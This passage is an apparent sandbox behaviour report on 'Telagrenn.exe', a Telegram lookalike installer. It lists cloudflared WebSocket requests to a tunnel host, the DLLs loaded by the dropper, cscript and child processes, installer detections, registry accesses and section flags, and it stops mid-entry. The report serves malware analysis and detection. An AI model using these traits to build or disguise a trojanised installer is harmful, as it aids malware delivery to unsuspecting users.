Sec-WebSocket-Key: I30VtZbQ+/gF4Z2szIMRpQ== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:56 GMT Connection: upgrade Sec-Websocket-Accept: ocqnHpwFjOELKCZC/nbMKz/GXKY= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=9UMs6NCUJm0oQnHVBB0cD7%2F0%2BppUy2pNlOqJIMpNmTwaKoPk8VGqpv56EGGMcv0TCn71g%2FHSe3bEJh892N%2BslwPKMDcUvn%2BFIYUJQYcjf4SdfnrCUWm7q227BN01hofxDkrT"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bec564cee7543-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: D/qBTCuMuQI4mkJjGIrHXw== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:12:04 GMT Connection: upgrade Sec-Websocket-Accept: 8d1YzD5gGbMvBmsBZUwtHDNRnAg= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=wQCH9sVg67LTS9DLnNNJ4ih2YAVDBRtSiKkHDWwMrdfziO4BPCqHmx1E5mfgVWeRdHoTfeIs3BhUYMo5LhbB3PE2XWhfZH%2BHGDmFAmKJ3wIAHvlKwvfdVuBFeeepyvuZAfDc"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bec885d60ef28-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: avc+gDjzs64jUD8uhGFtqA== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:12:12 GMT Connection: upgrade Sec-Websocket-Accept: 5grGhlmTaimCnGpzK17m7gucBok= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Anr1HI3R8m4S%2Bl%2FUa8ggYNe8bSgxmbWovCtDhrk51bm%2BJYsCGSoKy9QFIBo%2FttciAmLsueVKTf6QkJS1%2Fs1aALyBZ4QaXQIFc6xNwBw9I4mtXzA7xp5lB7W%2BJPmrmqR7WyuA"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42becba4cac42ae-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: wY4QZpGFlj48GbH5Ba8l2g== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:12:19 GMT Connection: upgrade Sec-Websocket-Accept: tw6wR84nlGoTG1Abp0z5wnNrQSw= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=pl77Ogr3cy9K17S%2BwACPaOp4uPGsLJF96jbP2bVXzSr3JirR0%2BVYevbM4fbZ348Jxp2iXtH1MBGWAFO9BpnFCpwSAWkGy1pFibIelmDnrxNz5RWwr5b%2Fep%2BOdh5os1uFi%2B22"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bece84f795476-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: PL1QZVOQ+lKdUFrr+LlKaA== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:12:27 GMT Connection: upgrade Sec-Websocket-Accept: B8h29g3kxY7o9qULKyP5wiBoEPg= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=pgtJV43YX5Lp7%2BIaAKO2nw6uj2BNc%2Bl1G9UBP42VAkHSiz4S3wfZTqFO0%2FKV8b%2BTYEIU14ZF8VXS9FlgNrrBjjCAIwEbO6OFx7TqJZjcePYBOeCY%2BXaqNbMmz4z3jf28%2FSFI"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bed1a7804c52e-SJC alt-svc: h3=":443"; ma=86400 with no response body45:T2e67,"Telagrenn.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "Telagrenn.exe" loaded module "%TEMP%\GENTEERT.DLL" at base 10000000 "Telagrenn.exe" loaded module "KERNEL32.DLL" at base 75c50000 "Telagrenn.exe" loaded module "SHELL32.DLL" at base 766f0000 "Telagrenn.exe" loaded module "USER32.DLL" at base 74820000 "Telagrenn.exe" loaded module "OLE32.DLL" at base 752c0000 "Telagrenn.exe" loaded module "ADVAPI32.DLL" at base 75460000 "Telagrenn.exe" loaded module "VERSION.DLL" at base 74200000 "Telagrenn.exe" loaded module "%TEMP%\GENTEE2B\GUIG.DLL" at base 4e00000 "Telagrenn.exe" loaded module "COMCTL32.DLL" at base 73fe0000 "Telagrenn.exe" loaded module "GDI32.DLL" at base 754e0000 "Telagrenn.exe" loaded module "OLEAUT32.DLL" at base 753c0000 "Telagrenn.exe" loaded module "MPR.DLL" at base 73fc0000 "Telagrenn.exe" loaded module "RPCRT4.DLL" at base 75060000 "Telagrenn.exe" loaded module "SSPICLI.DLL" at base 74450000 "Telagrenn.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "Telagrenn.exe" loaded module "NTDLL.DLL" at base 77a30000 "Telagrenn.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d10000 "Telagrenn.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75520000 "Telagrenn.exe" loaded module "RICHED20.DLL" at base 73c90000 "Telagrenn.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 737f0000 "Telagrenn.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 743a0000 "cscript.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "cscript.exe" loaded module "KERNEL32.DLL" at base 75c50000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "cscript.exe" loaded module "RPCRT4.DLL" at base 75060000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\VBSCRIPT.DLL" at base 736b0000 "cscript.exe" loaded module "AMSI.DLL" at base 736a0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74200000 "cscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 73650000 "cscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75d20000 "cscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75d20000 "cscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d20000 "cscript.exe" loaded module "KERNEL32" at base 75c50000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\4B9TSH7N.DLL" at base 73610000 "cscript.exe" loaded module "WLDP.DLL" at base 735f0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75460000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 75f00000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 735c0000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 735b0000 "cscript.exe" loaded module "OLE32.DLL" at base 752c0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74470000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 73590000 "cscript.exe" loaded module "%WINDIR%\SYSWOW64\SCROBJ.DLL" at base 73550000 "tsetup-x64.7.0.2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "tsetup-x64.7.0.2.exe" loaded module "KERNEL32.DLL" at base 75c50000 "tsetup-x64.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 766f0000 "tsetup-x64.7.0.2.exe" loaded module "RPCRT4.DLL" at base 75060000 "tsetup-x64.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "tsetup-x64.7.0.2.exe" loaded module "NTDLL.DLL" at base 77a30000 "tsetup-x64.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 743a0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "tsetup-x64.7.0.2.tmp" loaded module "KERNEL32.DLL" at base 75c50000 "tsetup-x64.7.0.2.tmp" loaded module "MSCTF.DLL" at base 74600000 "tsetup-x64.7.0.2.tmp" loaded module "IMM32.DLL" at base 74750000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "tsetup-x64.7.0.2.tmp" loaded module "WTSAPI32.DLL" at base 73700000 "tsetup-x64.7.0.2.tmp" loaded module "NTDLL.DLL" at base 77a30000 "tsetup-x64.7.0.2.tmp" loaded module "RPCRT4.DLL" at base 75060000 "tsetup-x64.7.0.2.tmp" loaded module "UXTHEME.DLL" at base 73f40000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 766f0000 "tsetup-x64.7.0.2.tmp" loaded module "COMCTL32" at base 73fe0000 "tsetup-x64.7.0.2.tmp" loaded module "COMCTL32.DLL" at base 73fe0000 "tsetup-x64.7.0.2.tmp" loaded module "OLEAUT32.DLL" at base 753c0000 "tsetup-x64.7.0.2.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 74820000 "tsetup-x64.7.0.2.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 74820000 "tsetup-x64.7.0.2.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 76140000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 74600000 "tsetup-x64.7.0.2.tmp" loaded module "DWMAPI.DLL" at base 737c0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 752c0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 737c0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73280000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\RSTRTMGR.DLL" at base 73250000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75000000 "tsetup-x64.7.0.2.tmp" loaded module "USER32.DLL" at base 74820000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\SHLWAPI.DLL" at base 74ed0000 "tsetup-x64.7.0.2.tmp" loaded module "%PROGRAMFILES%\(X86)\COMMON FILES\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 73170000 "tsetup-x64.7.0.2.tmp" loaded module "SSPICLI.DLL" at base 74450000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 737f0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 4ae0000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 75520000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d10000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75520000 "tsetup-x64.7.0.2.tmp" loaded module "CSCAPI.DLL" at base 73040000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 743a0000 "Telegram.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd87cc0000 "Telegram.exe" loaded module "CRYPT32.DLL" at base 7ffdae590000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffdadcd0000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffda6ec0000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 7ffd97590000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffd98310000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffda73e0000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffdaee70000 "Telegram.exe" loaded module "CSCAPI.DLL" at base 7ffda0d20000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffdaec30000 "Telegram.exe" loaded module "WEBAUTHN.DLL" at base 7ffda1900000 "Telegram.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffdad880000 "Telegram.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffdae4d0000 "D5rra.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "D5rra.exe" loaded module "KERNEL32.DLL" at base 75c50000 "D5rra.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 766f0000 "D5rra.exe" loaded module "RPCRT4.DLL" at base 75060000 "D5rra.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "D5rra.exe" loaded module "NTDLL.DLL" at base 77a30000 "D5rra.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 743a0000 "D5rra.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 74230000 "D5rra.tmp" loaded module "KERNEL32.DLL" at base 75c50000 "D5rra.tmp" loaded module "MSCTF.DLL" at base 74600000 "D5rra.tmp" loaded module "IMM32.DLL" at base 74750000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f40000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\ICONCODECSERVICE.DLL" at base 736f0000 "D5rra.tmp" loaded module "NTDLL.DLL" at base 77a30000 "D5rra.tmp" loaded module "RPCRT4.DLL" at base 75060000 "D5rra.tmp" loaded module "UXTHEME.DLL" at base 73f40000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 766f0000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73520000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\RSTRTMGR.DLL" at base 734f0000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75000000 "D5rra.tmp" loaded module "COMCTL32" at base 73fe0000 "D5rra.tmp" loaded module "COMCTL32.DLL" at base 73fe0000 "D5rra.tmp" loaded module "USER32.DLL" at base 74820000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\SHLWAPI.DLL" at base 74ed0000 "D5rra.tmp" loaded module "%PROGRAMFILES%\(X86)\COMMON FILES\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 73410000 "D5rra.tmp" loaded module "OLEAUT32.DLL" at base 753c0000 "D5rra.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 74820000 "D5rra.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 74820000 "D5rra.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 76140000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 74600000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 752c0000 "D5rra.tmp" loaded module "SSPICLI.DLL" at base 74450000 "D5rra.tmp" loaded module "DWMAPI.DLL" at base 737c0000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 5730000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 737f0000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 743a0000 "D5rra.tmp" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 737c0000 "D5rra.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 75d20000 "D5rra.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75d20000 "D5rra.tmp" loaded module "KERNEL32" at base 75c50000 "D5rra.tmp" loaded module "%TEMP%\IS-CAG3H.TMP\CORELOGIC.DLL" at base 72fa0000 "D5rra.tmp" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74f30000 "D5rra.tmp" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 72f10000 "System.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd87cc0000 "System.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ffdaec30000 "System.exe" loaded module "NTDLL.DLL" at base 7ffdb20f0000 "System.exe" loaded module "WINMM.DLL" at base 7ffda68e0000 "System.exe" loaded module "POWRPROF.DLL" at base 7ffdae480000 "System.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffdae4d0000 "System.exe" loaded module "KERNEL32.DLL" at base 7ffdb1e90000 "System.exe" loaded module "WS2_32.DLL" at base 7ffdaf930000 "System.exe" loaded module "ADVAPI32.DLL" at base 7ffdb1fa0000 "System.exe" loaded module "RPCRT4.DLL" at base 7ffdaf810000 "System.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffdadcd0000 "System.exe" loaded module "MSWSOCK.DLL" at base 7ffdadcd0000 "System.exe" loaded module "IPHLPAPI.DLL" at base 7ffdada60000 "System.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffda6ec0000 "System.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffda73e0000 "System.exe" loaded module "CRYPT32.DLL" at base 7ffdae590000 "System.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffdad880000 "System.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffdaec3000046:T58b,"Telagrenn.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "Telagrenn.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73E90000 "cscript.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "cscript.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73E90000 "tsetup-x64.7.0.2.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "tsetup-x64.7.0.2.tmp" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73E90000 "Telegram.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at AEC30000 "Telegram.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at ADFA0000 "D5rra.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "D5rra.tmp" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "D5rra.tmp" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73E90000 "msiexec.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75000000 "msiexec.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73E90000 "msiexec.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at AEC30000 "msiexec.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at ADFA0000 "System.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at AEC30000 "System.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at ADFA000047:Td10,"Telagrenn.exe" was detected as "Gentee Installer" and name: "Installer" "Telagrenn.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Telagrenn.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Telagrenn.exe" was detected as "Microsoft Linker" and name: "Linker" "CoreLogic.dll" was detected as "Gentee Installer" and name: "Installer" "CoreLogic.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "CoreLogic.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "CoreLogic.dll" was detected as "Microsoft Linker" and name: "Linker" "genteert.dll" was detected as "Gentee Installer" and name: "Installer" "genteert.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "genteert.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "genteert.dll" was detected as "Microsoft Linker" and name: "Linker" "guig.dll" was detected as "Gentee Installer" and name: "Installer" "guig.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "guig.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "guig.dll" was detected as "Microsoft Linker" and name: "Linker" "is-PVEBQ.tmp" was detected as "Gentee Installer" and name: "Installer" "is-PVEBQ.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "is-PVEBQ.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "is-PVEBQ.tmp" was detected as "Microsoft Linker" and name: "Linker" "D5rra.tmp" was detected as "Gentee Installer" and name: "Installer" "D5rra.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "D5rra.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "D5rra.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-7JH8E.tmp" was detected as "Gentee Installer" and name: "Installer" "is-7JH8E.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "is-7JH8E.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "is-7JH8E.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-2BAEF.tmp" was detected as "Gentee Installer" and name: "Installer" "is-2BAEF.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "is-2BAEF.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "is-2BAEF.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-3R46B.tmp" was detected as "Gentee Installer" and name: "Installer" "is-3R46B.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "is-3R46B.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "is-3R46B.tmp" was detected as "Microsoft Linker" and name: "Linker" "is-4O7G3.tmp" was detected as "Gentee Installer" and name: "Installer" "is-4O7G3.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "is-4O7G3.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "is-4O7G3.tmp" was detected as "Microsoft Linker" and name: "Linker" "_setup64.tmp" was detected as "Gentee Installer" and name: "Installer" "_setup64.tmp" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "_setup64.tmp" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_setup64.tmp" was detected as "Microsoft Linker" and name: "Linker"48:Tfbd,"Telagrenn.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "Telagrenn.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "Telagrenn.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "Telagrenn.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "Telagrenn.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "Telagrenn.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "Telagrenn.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "Telagrenn.exe" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "cscript.exe" touched "VBScript Language Encoding" (Path: "HKCU\WOW6432NODE\CLSID\{B54F3743-5B07-11CF-A4B0-00AA004A55E8}") "cscript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "cscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\WOW6432NODE\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "tsetup-x64.7.0.2.tmp" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}") "tsetup-x64.7.0.2.tmp" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "tsetup-x64.7.0.2.tmp" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "tsetup-x64.7.0.2.tmp" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "tsetup-x64.7.0.2.tmp" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "Telegram.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "Telegram.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "Telegram.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "Telegram.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TREATAS") "Telegram.exe" touched "System Device Enumerator" (Path: "HKCU\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\TREATAS") "Telegram.exe" touched "VFW Capture Class Manager" (Path: "HKCU\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}\TREATAS") "Telegram.exe" touched "@%SystemRoot%\system32\shell32.dll,-22067" (Path: "HKCU\CLSID\{52205FD8-5DFB-447D-801A-D0B52F2E83E1}\SHELLFOLDER") "Telegram.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "Telegram.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\TREATAS") "Telegram.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\TREATAS") "Telegram.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "Telegram.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "Telegram.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "D5rra.tmp" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS")49:T467,"Telagrenn.exe" has an writable section named ".data" "CoreLogic.dll" has an writable section named ".data" "CoreLogic.dll" has an writable section named ".fptable" "genteert.dll" has an writable section named ".data" "guig.dll" has an 